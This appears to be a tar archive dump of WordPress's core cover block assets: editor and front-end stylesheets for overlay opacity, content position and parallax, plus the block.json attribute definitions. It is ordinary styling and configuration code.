.wp-block-cover.is-transient .wp-block-cover__inner-container{
  z-index:2;
}
.wp-block-cover .components-spinner{
  margin:0;
  position:absolute;
  right:50%;
  top:50%;
  transform:translate(50%, -50%);
}
.wp-block-cover .wp-block-cover__inner-container{
  margin-left:0;
  margin-right:0;
  text-align:right;
}
.wp-block-cover .wp-block-cover__placeholder-background-options{
  width:100%;
}
.wp-block-cover .wp-block-cover__image--placeholder-image{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}

[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{
  max-width:420px;
  width:100%;
}

.block-library-cover__reset-button{
  margin-right:auto;
}

.block-library-cover__resize-container{
  bottom:0;
  left:0;
  min-height:50px;
  position:absolute !important;
  right:0;
  top:0;
}

.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{
  overflow:visible;
  pointer-events:none;
}

.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{
  background-attachment:scroll;
}

.color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){
  margin-top:24px;
}style.min.css000064400000045266151024252110007206 0ustar00.wp-block-cover,.wp-block-cover-image{align-items:center;background-position:50%;box-sizing:border-box;display:flex;justify-content:center;min-height:430px;overflow:hidden;overflow:clip;padding:1em;position:relative}.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){background-color:#000}.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{background-color:initial}.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{background-color:inherit;content:""}.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{bottom:0;left:0;opacity:.5;position:absolute;right:0;top:0}.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{opacity:.1}.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{opacity:.2}.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{opacity:.3}.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{opacity:.4}.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{opacity:.5}.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{opacity:.6}.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{opacity:.7}.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{opacity:.8}.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{opacity:.9}.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{opacity:1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{opacity:0}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{opacity:.1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{opacity:.2}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{opacity:.3}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{opacity:.4}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{opacity:.5}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{opacity:.6}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{opacity:.7}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{opacity:.8}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{opacity:.9}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{opacity:1}.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{max-width:420px;width:100%}.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{display:flex}.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{color:inherit;position:relative;width:100%}.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{align-items:flex-start;justify-content:flex-start}.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{align-items:flex-start;justify-content:center}.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{align-items:flex-start;justify-content:flex-end}.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{align-items:center;justify-content:flex-start}.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{align-items:center;justify-content:center}.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{align-items:center;justify-content:flex-end}.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{align-items:flex-end;justify-content:flex-start}.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{align-items:flex-end;justify-content:center}.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{align-items:flex-end;justify-content:flex-end}.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{margin:0}.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{margin:0;width:auto}.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{border:none;bottom:0;box-shadow:none;height:100%;left:0;margin:0;max-height:none;max-width:none;object-fit:cover;outline:none;padding:0;position:absolute;right:0;top:0;width:100%}.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:fixed;background-repeat:no-repeat;background-size:cover}@supports (-webkit-touch-callout:inherit){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}@media (prefers-reduced-motion:reduce){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{background-repeat:repeat;background-size:auto}.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{color:#fff}.wp-block-cover-image .wp-block-cover.has-left-content{justify-content:flex-start}.wp-block-cover-image .wp-block-cover.has-right-content{justify-content:flex-end}.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{margin-left:0;text-align:left}.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{margin-right:0;text-align:right}.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{font-size:2em;line-height:1.25;margin-bottom:0;max-width:840px;padding:.44em;text-align:center;z-index:1}:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){color:#fff}:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){color:#000}:root :where(.wp-block-cover h1:not(.has-text-color)),:root :where(.wp-block-cover h2:not(.has-text-color)),:root :where(.wp-block-cover h3:not(.has-text-color)),:root :where(.wp-block-cover h4:not(.has-text-color)),:root :where(.wp-block-cover h5:not(.has-text-color)),:root :where(.wp-block-cover h6:not(.has-text-color)),:root :where(.wp-block-cover p:not(.has-text-color)){color:inherit}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__image-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__video-background{z-index:0}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__gradient-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)).has-background-dim:not(.has-background-gradient):before{z-index:1}.has-modal-open body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container{z-index:auto}editor.css000064400000003575151024252110006547 0ustar00.wp-block-cover.is-placeholder{
  align-items:stretch;
  display:flex;
  min-height:240px;
  padding:0 !important;
}
.wp-block-cover.is-placeholder .components-placeholder.is-large{
  justify-content:flex-start;
  z-index:1;
}
.wp-block-cover.is-placeholder:focus:after{
  min-height:auto;
}
.wp-block-cover.components-placeholder h2{
  color:inherit;
}
.wp-block-cover.is-transient{
  position:relative;
}
.wp-block-cover.is-transient:before{
  background-color:#fff;
  content:"";
  height:100%;
  opacity:.3;
  position:absolute;
  width:100%;
  z-index:1;
}
.wp-block-cover.is-transient .wp-block-cover__inner-container{
  z-index:2;
}
.wp-block-cover .components-spinner{
  left:50%;
  margin:0;
  position:absolute;
  top:50%;
  transform:translate(-50%, -50%);
}
.wp-block-cover .wp-block-cover__inner-container{
  margin-left:0;
  margin-right:0;
  text-align:left;
}
.wp-block-cover .wp-block-cover__placeholder-background-options{
  width:100%;
}
.wp-block-cover .wp-block-cover__image--placeholder-image{
  bottom:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
}

[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{
  max-width:420px;
  width:100%;
}

.block-library-cover__reset-button{
  margin-left:auto;
}

.block-library-cover__resize-container{
  bottom:0;
  left:0;
  min-height:50px;
  position:absolute !important;
  right:0;
  top:0;
}

.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{
  overflow:visible;
  pointer-events:none;
}

.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{
  background-attachment:scroll;
}

.color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){
  margin-top:24px;
}block.json000064400000005415151024252110006527 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/cover",
	"title": "Cover",
	"category": "media",
	"description": "Add an image or video with a text overlay.",
	"textdomain": "default",
	"attributes": {
		"url": {
			"type": "string"
		},
		"useFeaturedImage": {
			"type": "boolean",
			"default": false
		},
		"id": {
			"type": "number"
		},
		"alt": {
			"type": "string",
			"default": ""
		},
		"hasParallax": {
			"type": "boolean",
			"default": false
		},
		"isRepeated": {
			"type": "boolean",
			"default": false
		},
		"dimRatio": {
			"type": "number",
			"default": 100
		},
		"overlayColor": {
			"type": "string"
		},
		"customOverlayColor": {
			"type": "string"
		},
		"isUserOverlayColor": {
			"type": "boolean"
		},
		"backgroundType": {
			"type": "string",
			"default": "image"
		},
		"focalPoint": {
			"type": "object"
		},
		"minHeight": {
			"type": "number"
		},
		"minHeightUnit": {
			"type": "string"
		},
		"gradient": {
			"type": "string"
		},
		"customGradient": {
			"type": "string"
		},
		"contentPosition": {
			"type": "string"
		},
		"isDark": {
			"type": "boolean",
			"default": true
		},
		"allowedBlocks": {
			"type": "array"
		},
		"templateLock": {
			"type": [ "string", "boolean" ],
			"enum": [ "all", "insert", "contentOnly", false ]
		},
		"tagName": {
			"type": "string",
			"default": "div"
		},
		"sizeSlug": {
			"type": "string"
		}
	},
	"usesContext": [ "postId", "postType" ],
	"supports": {
		"anchor": true,
		"align": true,
		"html": false,
		"shadow": true,
		"spacing": {
			"padding": true,
			"margin": [ "top", "bottom" ],
			"blockGap": true,
			"__experimentalDefaultControls": {
				"padding": true,
				"blockGap": true
			}
		},
		"__experimentalBorder": {
			"color": true,
			"radius": true,
			"style": true,
			"width": true,
			"__experimentalDefaultControls": {
				"color": true,
				"radius": true,
				"style": true,
				"width": true
			}
		},
		"color": {
			"__experimentalDuotone": "> .wp-block-cover__image-background, > .wp-block-cover__video-background",
			"heading": true,
			"text": true,
			"background": false,
			"__experimentalSkipSerialization": [ "gradients" ],
			"enableContrastChecker": false
		},
		"dimensions": {
			"aspectRatio": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"layout": {
			"allowJustification": false
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-cover-editor",
	"style": "wp-block-cover"
}
style-rtl.css000064400000046340151024252110007215 0ustar00.wp-block-cover,.wp-block-cover-image{
  align-items:center;
  background-position:50%;
  box-sizing:border-box; direction:ltr;
  display:flex;
  justify-content:center;
  min-height:430px;
  overflow:hidden;
  overflow:clip;
  padding:1em;
  position:relative;
}
.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){
  background-color:#000;
}
.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{
  background-color:initial;
}
.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{
  background-color:inherit;
  content:"";
}
.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{
  bottom:0;
  left:0;
  opacity:.5;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{
  opacity:.1;
}
.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{
  opacity:.2;
}
.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{
  opacity:.3;
}
.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{
  opacity:.4;
}
.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{
  opacity:.5;
}
.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{
  opacity:.6;
}
.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{
  opacity:.7;
}
.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{
  opacity:.8;
}
.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{
  opacity:.9;
}
.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{
  opacity:1;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{
  opacity:0;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{
  opacity:.1;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{
  opacity:.2;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{
  opacity:.3;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{
  opacity:.4;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{
  opacity:.5;
}
